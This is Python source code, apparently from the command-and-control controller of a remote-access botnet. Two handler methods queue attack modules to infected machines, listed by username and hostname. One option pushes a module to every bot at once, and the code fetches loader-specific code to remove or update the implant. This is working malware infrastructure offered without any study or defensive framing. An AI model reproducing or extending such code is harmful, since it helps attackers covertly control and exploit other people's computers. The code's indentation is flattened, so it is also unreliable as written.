def _on_module_run(self, module_name: str, input_fields: list): """Handles running modules.""" set_options = [] for input_field in input_fields: set_options.append(input_field.text()) module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._module_view, self._model) successful, options = module.setup(set_options) if successful: if module_name == "remove_bot": code = loaders.get_remove_code(self._current_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code(self._current_bot.loader_name) else: code = modules.get_code(module_name) if not options: options = {} options["module_name"] = module_name self._model.add_command(self._current_bot.uid, Command(CommandType.MODULE, code, options)) self.display_info("Module added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname))
def _run_module(self, module_name, mass_execute=False): """Setup then run the module, required because otherwise calls to prompt block the main thread.""" try: module = modules.get_module(module_name) code = ("", b"") if not module: module = modules.load_module(module_name, self._view, self._model) successful, options = module.setup() if not successful: self._view.output("Module setup failed or cancelled.", "attention") else: if not options: options = {} options["module_name"] = module_name if mass_execute: bots = self._model.get_bots() for bot in bots: if module_name == "remove_bot": if code[0] != bot.loader_name: code = (bot.loader_name, loaders.get_remove_code( bot.loader_name)) elif module_name == "update_bot": if code[0] != bot.loader_name: code = (bot.loader_name, loaders.get_update_code( bot.loader_name)) else: if not code[0]: code = modules.get_code(module_name) self._model.add_command( bot.uid, Command(CommandType.MODULE, code[1], options)) self._view.output( "Module added to the queue of {} bots.".format( len(bots))) else: if module_name == "remove_bot": code = loaders.get_remove_code( self._connected_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code( self._connected_bot.loader_name) else: code = modules.get_code(module_name) self._model.add_command( self._connected_bot.uid, Command(CommandType.MODULE, code, options)) self._view.output( "Module added to the queue of \"{}@{}\".".format( self._connected_bot.username, self._connected_bot.hostname), "info") except ImportError: self._view.output("Failed to find module: {}".format(module_name), "attention") self._view.output( "Type \"modules\" to get a list of available modules.", "attention")